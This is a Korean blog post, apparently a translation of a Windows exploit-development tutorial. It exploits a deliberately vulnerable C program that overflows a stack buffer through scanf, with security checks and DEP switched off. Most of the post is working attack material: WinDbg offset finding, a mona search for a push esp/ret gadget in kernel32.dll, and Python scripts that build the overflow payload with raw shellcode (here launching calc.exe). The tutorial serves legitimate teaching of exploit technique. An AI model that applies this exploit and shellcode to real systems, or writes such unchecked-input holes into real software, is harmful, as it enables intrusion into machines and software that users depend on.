티스토리 뷰
[익스플로잇 개발] 07. Exploitme1 ("ret eip" 덮어쓰기)
hackability 2016. 7. 19. 16:17본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 07. Exploitme1 ("ret eip" 덮어쓰기)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.19
아래는 취약한 C/C++ 프로그램 입니다.
1 2 3 4 5 6 7 8 9 | #include <cstdio> int main() { char name[32]; printf("Enter your name and press ENTER\n"); scanf("%s", name); printf("Hi, %s!\n", name); return 0; } | cs |
문제는 scanf 에서 발생되는데 이는 name 배열보다 더 크게 써질 수 있기 때문입니다. 취약점에 대해 검증하기 위해 프로그램에 다음과 같이 긴 이름을 넣고 실행해봅니다.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
프로그램은 다음과 같이 출력합니다.
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
그리고 충돌(crash)이 발생 됩니다. 특정 이름으로 넣었을 때 흥미로운 점은 우리가 임의의 코드를 실행 시킬 수 있다는 것 입니다.
먼저 VS 2013 에서 DEP와 stack cookie 를 비활성화 시킵니다. (Project -> properties에서 Release 설정을 다음과 같이 변경)
- Configuration Properties
- C/C++
- Code Generation
- Security Check: Disable Security Check (/GS-)
- Linker
- Advanced
- Data Execution Prevention (DEP: No (/NXCOMPAT:NO)
main() 함수를 어셈블리로 보면 다음과 같습니다.
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
char name[32];
printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01 push 1392100h
0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
scanf("%s", name);
01391011 8D 45 E0 lea eax,[name]
01391014 50 push eax
01391015 68 24 21 39 01 push 1392124h
0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h]
printf("Hi, %s!\n", name);
01391020 8D 45 E0 lea eax,[name]
01391023 50 push eax
01391024 68 28 21 39 01 push 1392128h
01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
0139102F 83 C4 14 add esp,14h
return 0;
01391032 33 C0 xor eax,eax
}
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
main()을 호출하는 어셈블리 코드는 다음과 같습니다.
mainret = main(argc, argv, envp);
00261222 FF 35 34 30 26 00 push dword ptr ds:[263034h]
00261228 FF 35 30 30 26 00 push dword ptr ds:[263030h]
0026122E FF 35 2C 30 26 00 push dword ptr ds:[26302Ch]
00261234 E8 C7 FD FF FF call main (0261000h)
00261239 83 C4 0C add esp,0Ch
스택은 낮은 주소 방향으로 커집니다. 3개의 push 이후 스택은 다음과 같습니다.
esp --> argc ; third push
argv ; second push
envp ; first push
call 명령은 스택에 0x261239 를 넣기 때문에 ret 명령이 call 명령 이후 코드에 다시 돌아올 수 있습니다. call 이후, main() 함수 시작 부분의 스택은 다음과 같습니다.
esp --> ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
main() 함수는 다음과 같이 시작합니다.
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
처음 3개의 명령 이후, 스택은 다음과 같이 됩니다.
esp --> name[0..3] ; first 4 bytes of "name"
name[4..7]
.
.
.
name[28..31] ; last 4 bytes of "name"
ebp --> saved ebp
ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
이제 scanf()는 기본 입력 (standard input)으로 부터 데이터를 읽고 name 에 쓰게 됩니다. 만약 데이터가 32 바이트를 넘게 되면 ret eip 가 덮어 써지게 됩니다.
main() 의 마지막 3개의 명령을 보면 다음과 같습니다.
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
mov esp, ebp 이후 스택은 다음과 같이 됩니다.
esp,ebp -> saved ebp
ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
pop ebp 이후에는 다음과 같이 됩니다.
esp --> ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
마지막으로 ret 은 스택의 최상단에서 ret eip를 가져오고 해당 주소(eip)로 뛰게 됩니다. 만약 우리가 ret eip 를 변경할 수 있다면 우리가 원하는 실행 흐름으로 직접 변경 할 수 있습니다. 위에 취약점에서 설명 햇듯이, name 배열 뒤쪽을 덮어 쓰게 되면 ret eip 가 덮어 써지게 됩니다. scanf() 함수가 입력 크기를 확인하지 않기 때문에 이런 행위가 가능하게 됩니다.
위 내용을 보면 ret eip는 name + 36을 가리키고 있습니다.
VS 2013에서 F5 를 눌러 디버깅 모드로 시작하고 a 를 많이 넣어 봅니다.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
프로그램은 충돌나게 되고 다음과 같은 메시지가 나타나게 됩니다.
Unhandled exception at 0x61616161 in exploitme1.exe: 0xC0000005: Access violation reading location 0x61616161.
아스키 코드로 ‘a’는 0x61를 뜻하는데 이는 우리가 ret eip를 “aaaa” 로 덮어쓰고 ret 명령은 0x61616161로 뛰는데 이 주소가 유효하지 않아 발생되는 메시지 입니다. 이제 36개의 “a”와 4개의 “b” 그리고 몇개의 “c” 를 입력하여 ret eip 가 name + 36에 있는지 확인해 봅니다.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc
그러면 다음 메시지가 나오게 됩니다.
Unhandled exception at 0x62626262 in exploitme1.exe: 0xC0000005: Access violation reading location 0x62626262.
이를 통해 우리의 추측이 맞음을 알 수 있습니다. (0x62626262 = “bbbb”)
종합해보면 scanf() 전후로 스택은 다음과 같습니다.
name[0..3] aaaa
name[4..7] aaaa
. .
B . A .
E . F .
F name[28..31] =========> T aaaa
O saved ebp E aaaa
R ret eip R bbbb
E argc cccc
argv cccc
envp cccc
좀 더 쉽게 하기 위해 프로그램의 입력을 파일에서 읽어 오도록 변경합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <cstdio> int main() { char name[32]; printf("Reading name from file...\n"); FILE *f = fopen("c:\\name.dat", "rb"); if (!f) return -1; fseek(f, 0L, SEEK_END); long bytes = ftell(f); fseek(f, 0L, SEEK_SET); fread(name, 1, bytes, f); name[bytes] = '\0'; fclose(f); printf("Hi, %s!\n", name); return 0; } | cs |
C:\ 에 name.dat 파일을 생성하고 내용을 다음과 같이 넣습니다.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc
WinDbg에서 exploitme1.exe를 불러오고 F5(go)를 하면 다음과 같은 예외를 볼 수 있습니다.
(180c.5b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d383071 edx=00835451 esi=00000001 edi=00000000
eip=62626262 esp=0041f7d0 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
ESP를 통해 스택이 가리키는 부분을 살펴 보면 다음과 같습니다.
0:000> d @esp
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~
0041f830 00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00 ............ .A.
0041f840 00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02 .........q.w(...
0:000> d @esp-0x20
0041f7b0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0041f7c0 61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62 aaaaaaaaaaaabbbb
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~
완벽합니다! ESP는 우리의 “c” 를 가리키고 있습니다. (ESP는 0x41f7d0) 이제 CTRL+SHIFT+F5 (restart) 해서 다시 exploitme1.exe 를 불러 오고 F5(go)를 합니다. 그러면 스택에 다시 다음과 같음을 볼 수 있습니다.
0:000> d @esp
0042fce0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0042fcf0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0042fd00 ec fc 42 00 29 00 00 00-54 fd 42 00 09 17 12 00 ..B.)...T.B.....
0042fd10 94 7f 07 21 00 00 00 00-24 fd 42 00 8a 33 0c 76 ...!....$.B..3.v
0042fd20 00 e0 fd 7e 64 fd 42 00-72 9f 9f 77 00 e0 fd 7e ...~d.B.r..w...~
0042fd30 c4 79 5c 75 00 00 00 00-00 00 00 00 00 e0 fd 7e .y\u...........~
0042fd40 00 00 00 00 00 00 00 00-00 00 00 00 30 fd 42 00 ............0.B.
0042fd50 00 00 00 00 ff ff ff ff-f5 71 a3 77 f0 41 80 02 .........q.w.A..
보시다시피, ESP는 여전히 우리의 “c” 를 가리키고 있지만 주소는 달라졌습니다. 이는 우리가 “c”의 위치에 쉘 코드를 넣어도 주소가 계속 변하기 때문에 ret eip 에 0x42fce0 같은 값을 덮어 쓸수 없다는 의미가 됩니다. 하지만 ESP 는 계속 우리의 쉘 코드를 가리키는데 메모리에 존재하는 JMP ESP 같은 명령어의 주소로 뛰면 안될까요?
mona 를 이용하여 해당 명령어를 찾아 보도록 하겠습니다.
0:000> .load pykd.pyd
0:000> !py mona
Hold on...
[+] Command used:
!py mona.py
'mona' - Exploit Development Swiss Army Knife - WinDbg (32bit)
Plugin version : 2.0 r554
PyKD version 0.2.0.29
Written by Corelan - https://www.corelan.be
Project page : https://github.com/corelan/mona
|------------------------------------------------------------------|
| |
| _____ ___ ____ ____ ____ _ |
| / __ `__ \/ __ \/ __ \/ __ `/ https://www.corelan.be |
| / / / / / / /_/ / / / / /_/ / https://www.corelan-training.com|
| /_/ /_/ /_/\____/_/ /_/\__,_/ #corelan (Freenode IRC) |
| |
|------------------------------------------------------------------|
Global options :
----------------
You can use one or more of the following global options on any command that will perform
a search in one or more modules, returning a list of pointers :
-n : Skip modules that start with a null byte. If this is too broad, use
option -cm nonull instead
-o : Ignore OS modules
-p <nr> : Stop search after <nr> pointers.
-m <module,module,...> : only query the given modules. Be sure what you are doing !
You can specify multiple modules (comma separated)
Tip : you can use -m * to include all modules. All other module criteria will be ignored
Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,
blah or *blah* = contains blah
-cm <crit,crit,...> : Apply some additional criteria to the modules to query.
You can use one or more of the following criteria :
aslr,safeseh,rebase,nx,os
You can enable or disable a certain criterium by setting it to true or false
Example : -cm aslr=true,safeseh=false
Suppose you want to search for p/p/r in aslr enabled modules, you could call
!mona seh -cm aslr
-cp <crit,crit,...> : Apply some criteria to the pointers to return
Available options are :
unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev
Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit
-cpb '\x00\x01' : Provide list with bad chars, applies to pointers
You can use .. to indicate a range of bytes (in between 2 bad chars)
-x <access> : Specify desired access level of the returning pointers. If not specified,
only executable pointers will be return.
Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *
Usage :
-------
!mona <command> <parameter>
Available commands and parameters :
? / eval | Evaluate an expression
allocmem / alloc | Allocate some memory in the process
assemble / asm | Convert instructions to opcode. Separate multiple instructions with #
bpseh / sehbp | Set a breakpoint on all current SEH Handler function pointers
breakfunc / bf | Set a breakpoint on an exported function in on or more dll's
breakpoint / bp | Set a memory breakpoint on read/write or execute of a given address
bytearray / ba | Creates a byte array, can be used to find bad characters
changeacl / ca | Change the ACL of a given page
compare / cmp | Compare contents of a binary file with a copy in memory
config / conf | Manage configuration file (mona.ini)
copy / cp | Copy bytes from one location to another
dump | Dump the specified range of memory to a file
dumplog / dl | Dump objects present in alloc/free log file
dumpobj / do | Dump the contents of an object
egghunter / egg | Create egghunter code
encode / enc | Encode a series of bytes
filecompare / fc | Compares 2 or more files created by mona using the same output commands
fillchunk / fchunk | Fill a heap chunk referenced by a register
find / f | Find bytes in memory
findmsp / findmsf | Find cyclic pattern in memory
findwild / fw | Find instructions in memory, accepts wildcards
flow / flw | Simulate execution flows, including all branch combinations
fwptr / fwp | Find Writeable Pointers that get called
geteat / eat | Show EAT of selected module(s)
getiat / iat | Show IAT of selected module(s)
getpc | Show getpc routines for specific registers
gflags / gf | Show current GFlags settings from PEB.NtGlobalFlag
header | Read a binary file and convert content to a nice 'header' string
heap | Show heap related information
help | show help
hidedebug / hd | Attempt to hide the debugger
info | Show information about a given address in the context of the loaded application
infodump / if | Dumps specific parts of memory to file
jmp / j | Find pointers that will allow you to jump to a register
jop | Finds gadgets that can be used in a JOP exploit
kb / kb | Manage Knowledgebase data
modules / mod | Show all loaded modules and their properties
noaslr | Show modules that are not aslr or rebased
nosafeseh | Show modules that are not safeseh protected
nosafesehaslr | Show modules that are not safeseh protected, not aslr and not rebased
offset | Calculate the number of bytes between two addresses
pageacl / pacl | Show ACL associated with mapped pages
pattern_create / pc | Create a cyclic pattern of a given size
pattern_offset / po | Find location of 4 bytes in a cyclic pattern
peb / peb | Show location of the PEB
rop | Finds gadgets that can be used in a ROP exploit and do ROP magic with them
ropfunc | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain
seh | Find pointers to assist with SEH overwrite exploits
sehchain / exchain | Show the current SEH chain
skeleton | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit
stackpivot | Finds stackpivots (move stackpointer to controlled area)
stacks | Show all stacks for all threads in the running application
string / str | Read or write a string from/to memory
suggest | Suggest an exploit buffer structure
teb / teb | Show TEB related information
tobp / 2bp | Generate WinDbg syntax to create a logging breakpoint at given location
unicodealign / ua | Generate venetian alignment code for unicode stack buffer overflow
update / up | Update mona to the latest version
Want more info about a given command ? Run !mona help
우리가 관심있게 볼 곳은 다음과 같습니다.
jmp / j | Find pointers that will allow you to jump to a register
한 번 해보죠.
0:000> !py mona jmp
Hold on...
[+] Command used:
!py mona.py jmp
Usage :
Default module criteria : non aslr, non rebase
Mandatory argument : -r where reg is a valid register
[+] This mona.py action took 0:00:00
음. 다른 인자가 더 필요하군요.
0:000> !py mona jmp -r ESP
Hold on...
[+] Command used:
!py mona.py jmp -r ESP
---------- Mona command started on 2015-03-18 02:30:53 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 0 modules
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile jmp.txt
Found a total of 0 pointers
[+] This mona.py action took 0:00:00.110000
안타깝게도 어떤 모듈에서도 이를 찾지 못했습니다. 문제는 모든 모듈이 ASLR (Address Space Layout Randomization)을 지원하기 때문입니다. ASLR은 메모리에 모듈이 로드 될 때마다 모듈의 기본 주소를 변경합니다. 지금은 ASLR이 없고 kernel32.dll 에서 JMP ESP를 찾았다고 해봅시다. 이 모듈은 다른 응용프로그램들에 의해 공유되고 있는 모듈로 이 위치는 윈도우즈가 재부팅 되기 전까지는 변하지 않습니다. 이것은 익스플로잇 측면에서는 효과적이지 못하적이지 못하지만 재부팅 전까지는 ASLR 이 없다고 가정해봅시다.
mona의 –m 옵션을 이용하여 kernel32.dll 에서 검색합니다.
0:000> !py mona jmp -r ESP -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py jmp -r ESP -m kernel32.dll
---------- Mona command started on 2015-03-18 02:36:58 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules kernel32.dll
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module kernel32.dll
^ Memory access error in '!py mona jmp -r ESP -m kernel32.dll'
** Unable to process searchPattern 'mov eax,esp # jmp eax'. **
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
- Number of pointers of type 'call esp' : 2
- Number of pointers of type 'push esp # ret ' : 1
[+] Results :
0x760e7133 | 0x760e7133 (b+0x00037133) : call esp | ascii {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7614ceb2 | 0x7614ceb2 (b+0x0009ceb2) : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7610a980 | 0x7610a980 (b+0x0005a980) : push esp # ret | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
Found a total of 3 pointers
[+] This mona.py action took 0:00:00.172000
예쓰!! 해당 주소를 찾았습니다. 마지막에 있는 것을 사용해보도록 하죠.
0x7610a980 | 0x7610a980 (b+0x0005a980) : push esp # ret | {PAGE_EXECUTE_READ}
주소가 맞는지 확인해봅니다.
0:000> u 0x7610a980
kernel32!GetProfileStringW+0x1d3e4:
7610a980 54 push esp
7610a981 c3 ret
7610a982 1076db adc byte ptr [esi-25h],dh
7610a985 fa cli
7610a986 157640c310 adc eax,10C34076h
7610a98b 76c8 jbe kernel32!GetProfileStringW+0x1d3b9 (7610a955)
7610a98d fa cli
7610a98e 157630c310 adc eax,10C33076h
보시다시피, mona 에서는 단순히 JMP 명령만을 찾는 것이 아니라 이와 동일한 역할을 하는 CALL 과 PUSH+RET 으로 이루어진 것도 찾습니다. Intel CPU는 little-endian 방식이기 때문에 해당 주소는 “\x80\xa9\x10\x76” 이 됩니다.
파이썬 스크립트를 작성해봅시다.
1 2 3 4 5 | with open('c:\\name.dat', 'wb') as f: ret_eip = '\x80\xa9\x10\x76' shellcode = '\xcc' name = 'a'*36 + ret_eip + shellcode f.write(name) | cs |
WinDbg에서 exploitme1.exe를 다시 실행하고 F5를 누르면 WinDbg는 우리의 쉘코드로 뛰게 됩니다. (0xCC는 opcode로 int 3을 의미하며 이는 디버거에서 소프트웨어 breakpoint 로 사용됩니다)
(1adc.1750): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=00000000 ecx=6d383071 edx=002e5437 esi=00000001 edi=00000000
eip=001cfbf8 esp=001cfbf8 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
001cfbf8 cc int 3
이제 진짜 쉘코드를 넣습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | with open('c:\\name.dat', 'wb') as f: ret_eip = '\x80\xa9\x10\x76' shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+ "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+ "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+ "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+ "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+ "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+ "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+ "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+ "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+ "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+ "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+ "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+ "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+ "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+ "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+ "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+ "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+ "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+ "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+ "\x30\x03\xc6\xeb\xdd") name = 'a'*36 + ret_eip + shellcode f.write(name) | cs |
쉘 코드는 아래를 이용하여 생성합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #define HASH_ExitThread 0x4b3153e0 #define HASH_WinExec 0x7bb4c07f int entryPoint() { DefineFuncPtr(WinExec); DefineFuncPtr(ExitThread); // makes our shellcode shorter char calc[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' }; My_WinExec(calc, SW_SHOW); My_ExitThread(0); return 0; } | cs |
쉘코드가 가물가물 하신분들은 쉘 코드 파트를 다시 보시기 바랍니다.
exploitme1.exe 를 실행하면 계산기가 뜸을 볼 수 있습니다. 우리의 첫 번째 익스플로잇!!!!
문제 해결
만약 익스플로잇이 정상적으로 동작하지 않는다면 스택의 크기 제한 때문에 그럴 수 있습니다. 만약 그렇다면 http://expdev-kiuhnm.rhcloud.com/2015/06/13/more-space-on-the-stack/ 를 읽어 보시기 바랍니다.
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 09. Exploitme3 (DEP) (0) | 2016.07.19 |
---|---|
[익스플로잇 개발] 08. Exploitme2 (스택 쿠키 & SEH) (0) | 2016.07.19 |
[익스플로잇 개발] 06. 쉘 코드 (0) | 2016.07.19 |
[익스플로잇 개발] 05. 윈도우즈 기초 (0) | 2016.07.19 |
[익스플로잇 개발] 04. 힙 (Heap) (0) | 2016.07.19 |
- Total
- Today
- Yesterday
- IE 11 UAF
- IE UAF
- Windows Exploit Development
- 데이터 마이닝
- shellcode
- IE 10 Exploit Development
- shellcode writing
- School CTF Write up
- 쉘 코드
- TenDollar
- WinDbg
- 2014 SU CTF Write UP
- 윈도우즈 익스플로잇 개발
- UAF
- IE 10 익스플로잇
- TenDollar CTF
- IE 10 리버싱
- data mining
- Mona 2
- expdev 번역
- 쉘 코드 작성
- heap spraying
- 2015 School CTF
- IE 11 exploit
- School CTF Writeup
- 힙 스프레잉
- Use after free
- IE 10 God Mode
- CTF Write up
- IE 11 exploit development
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |